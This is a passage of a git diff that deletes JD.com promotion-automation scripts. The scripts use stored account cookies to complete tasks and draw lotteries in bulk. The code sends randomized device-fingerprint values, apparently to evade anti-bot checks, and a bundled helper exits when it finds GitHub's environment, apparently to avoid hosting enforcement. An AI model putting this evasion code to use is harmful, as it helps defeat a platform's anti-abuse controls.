= getinviteId(c) - for ck,nickname in zip(cookiesList,userNameList): - if nickname == masterName: - print(f"\t└😓{masterName} 不能助力自己,跳过~") - continue - if friendsHelp(ck, sharecode, getHomeData(buildHeaders(ck)), nickname): - print(f"\t└👌用户【{masterName}】助力任务已完成。") - break - task(c) - except Exception as e: - print(e) - -if __name__ == '__main__': - start() - diff --git a/backUp/jd_industrial_task.js b/backUp/jd_industrial_task.js deleted file mode 100644 index 6d354a0..0000000 --- a/backUp/jd_industrial_task.js +++ /dev/null @@ -1,239 +0,0 @@ -/* -京东工业品任务 -做完任务有4豆。要跑至少2次。 -cron 13 5,16 * * * https://raw.githubusercontent.com/ickel00/gd_test/main/jd_industrial_task.js - */ -const $ = new Env('京东工业品'); -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const listUrl = `https://prodev.m.jd.com/mall/active/2w43r74mJQjiHmXB3dnsx7mznuMV/index.html`; -//Node.js用户请在jdCookie.js处填写京东ck; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const rd_char = "0123456789abcdefghijklmnopqrstuvwxyz" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - $.exit = false; - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.configCode = `f11f0375da524037a3e7e1da6cb4510b` - $.eid = randomEid() - $.fp = randomString(32,rd_char) - if ($.eid !== null || $.eid !== undefined || $.eid !== '') { - await get_tasklist($.configCode); - } - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -//get_tasklist -function get_tasklist(code) { - return new Promise(resolve => { - let url = { - url: `https://jdjoy.jd.com/module/task/v2/getActivity?configCode=${code}&eid=${$.eid}&fp=${$.fp}`, - headers: { - 'Origin' : `https://prodev.m.jd.com`, - 'Cookie' : cookie, - 'Connection' : `keep-alive`, - 'Content-Type' : `application/json;charset=utf-8`, - 'Accept' : `application/json, text/plain, */*`, - 'Referer' : `${listUrl}`, - 'Host' : `jdjoy.jd.com`, - 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.1.6;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Encoding' : `gzip, deflate, br`, - 'Accept-Language' : `zh-cn` - } - }; - $.get(url, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - const result = JSON.parse(data); - //console.log(`get_tasklist:${JSON.stringify(result)}`) - if (result.success == true) { - console.log(`\n获取活动列表成功!`) - tasklist = result.data.dailyTask.taskList - // console.debug(tasklist) - for (let vo of tasklist) { - taskCount = vo.taskCount - finishCount = vo.finishCount - count = taskCount - finishCount; - itemName = vo.item.itemName - itemId = vo.item.itemId - groupType = vo.groupType - if (groupType == 2 && !['card','car'].includes(process.env.FS_LEVEL)) { - console.log("默认不加购,请设置通用加购变量FS_LEVEL=car") - continue - } - console.log(`\n${itemName} 完成状态:${finishCount}/${taskCount}`) - if (count > 0) { - console.log(`开始做任务 ${itemName} ---`) - body = `{"groupType":${groupType},"configCode":"${$.configCode}","itemId":"${itemId}","eid":"${$.eid}","fp":"${$.fp}"}` - await $.wait(10000) - await do_task(body) - } - } - } else { - console.log(`\n获取活动列表失败:${JSON.stringify(result)}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -//do_task -function do_task(body) { - return new Promise(resolve => { - $.post(taskUrl(body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - const result = JSON.parse(data); - //console.log(`do_task:${JSON.stringify(result)}`) - if (result.success == true) { - console.log(`做任务成功!`) - }else { - console.log(`做任务失败:${JSON.stringify(result)}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -//taskUrl -function taskUrl(body) { - return { - url: `https://jdjoy.jd.com/module/task/v2/doTask`, - headers: { - 'Cookie': cookie, - 'Origin' : `https://prodev.m.jd.com`, - 'Accept-Encoding' : `gzip, deflate, br`, - 'Connection' : `keep-alive`, - 'Content-Type' : `application/json;charset=utf-8`, - 'Host' : `jdjoy.jd.com`, - 'Accept' : `application/json, text/plain, */*`, - 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.1.6;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Referer' : `${listUrl}`, - 'Accept-Language': `zh-cn` - }, - body: body - } -} - -//configcode -function origin() { - return { - url: listUrl, - headers: { - 'Cookie': cookie, - 'Accept-Encoding' : `gzip, deflate, br`, - 'Connection' : `keep-alive`, - 'Content-Type' : `application/x-www-form-urlencoded`, - 'Host': `prodev.m.jd.com`, - 'Accept': `text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8`, - 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.1.6;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language': `zh-cn` - } - } -} - -function randomString(len,char) { - let res = "" - let a = char.length - for (let i = 0; i < len; i++) { - res += char.charAt(Math.floor(Math.random() * a)); - } - return res.toString(); -} - -function randomEid() { - const is_num = '000000110000001010000100000010010010000100010000100100010001101000011001000100000001000000' - const eid = [] - for (const flag of is_num) { - eid.push((flag == '1') ? randomString(1,'0123456789'):randomString(1,'ABCDEFGHIJKLMNOPQRSTUVWXYZ')) - } - return eid.join('') -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') - return []; - } - } -} - -function showMsg() { - return new Promise(resolve => { - $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - resolve() - }) -} - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_industryLottery.js b/backUp/jd_industryLottery.js deleted file mode 100644 index 7ca7dc0..0000000 --- a/backUp/jd_industryLottery.js +++ /dev/null @@ -1,308 +0,0 @@ -/* -工业品抽奖机 -活动地址:https://prodev.m.jd.com/mall/active/ebLz35DwiVumB6pcrGkqmnhCgmC/index.html -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#工业品抽奖机 -10 0 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_industryLottery.js, tag=工业品抽奖机, enabled=true - -================Loon============== -[Script] -cron "10 0 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_industryLottery.js,tag=工业品抽奖机 - -===============Surge================= -工业品抽奖机 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_industryLottery.js - -============小火箭========= -工业品抽奖机 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_industryLottery.js, cronexpr="10 0 * * *", timeout=3600, enable=true - */ -const $ = new Env('工业品抽奖机'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://jdjoy.jd.com'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.forNum = 0; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdLottery() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdLottery() { - await getTask(1); - await $.wait(2000) - if ($.forNum === 0) console.log(`全部任务已做完\n`) - for (let j = 0; j < $.forNum; j++) { - await getTask(2); - await $.wait(2000) - } - let lotteryNum = (await getTask()).data.chanceLeft - if (lotteryNum === 0) console.log(`抽奖次数已用完`) - for (let j = 0; j < lotteryNum; j++) { - await join(); - await $.wait(2000) - } - // await showMsg(); -} - -function showMsg() { - return new Promise(resolve => { - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} - -async function getTask(type) { - return new Promise(async resolve => { - const options = { - url: `${JD_API_HOST}/module/task/draw/get?configCode=e1a458713a854e2abb1db2772e540532&unionCardCode=`, - headers: { - "Host": "jdjoy.jd.com", - "Accept": "*/*", - "Content-Type": "application/json", - "Origin": "https://prodev.m.jd.com", - "Cookie": cookie, - "Accept-Language": "zh-cn", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Referer": "https://prodev.m.jd.com/mall/active/ebLz35DwiVumB6pcrGkqmnhCgmC/index.html", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getTask API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - switch (type) { - case 1: - for (let key of Object.keys(data.data.taskConfig)) { - let vo = data.data.taskConfig[key] - if (vo.finishCount !== vo.itemCount) { - $.forNum += vo.itemCount - vo.finishCount - } - } - break; - case 2: - for (let key of Object.keys(data.data.taskConfig)) { - let vo = data.data.taskConfig[key] - if (vo.finishCount !== vo.itemCount) { - console.log(`去做【${vo.taskName}】${vo.taskItem.itemName}`) - await task('doTask', {"configCode":data.data.activityBaseInfo.configCode,"taskType":vo.taskType,"itemId":vo.taskItem.itemId}) - await $.wait(vo.viewTime * 1000) - await task('getReward', {"configCode":data.data.activityBaseInfo.configCode,"taskType":vo.taskType,"itemId":vo.taskItem.itemId}) - console.log(`【${vo.taskName}】${vo.taskItem.itemName} 已做完\n`) - } - } - break; - default: - break; - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data) - } - }) - }) -} -function task(function_id, body = {}) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} task API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function join() { - return new Promise(resolve => { - const options = { - url: `${JD_API_HOST}/module/task/draw/join?configCode=e1a458713a854e2abb1db2772e540532&fp=${randomString(32)}&eid=`, - headers: { - "Host": "jdjoy.jd.com", - "Accept": "*/*", - "Content-Type": "application/json", - "Origin": "https://prodev.m.jd.com", - "Cookie": cookie, - "Accept-Language": "zh-cn", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Referer": "https://prodev.m.jd.com/mall/active/ebLz35DwiVumB6pcrGkqmnhCgmC/index.html", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} join API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.rewardType !== 0) { - console.log(`抽中:${data.data.rewardName}`) - } else { - console.log(`很遗憾,未中奖~`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function randomString(e) { - e = e || 32; - let t = "0123456789abcdef", a = t.length, n = ""; - for (let i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function taskUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}/module/task/draw/${function_id}`, - body: `${JSON.stringify(body)}`, - headers: { - "Host": "jdjoy.jd.com", - "Accept": "*/*", - "Content-Type": "application/json", - "Origin": "https://prodev.m.jd.com", - "Cookie": cookie, - "Accept-Language": "zh-cn", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Referer": "https://prodev.m.jd.com/mall/active/ebLz35DwiVumB6pcrGkqmnhCgmC/index.html", - "Accept-Encoding": "gzip, deflate, br" - } - } -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return 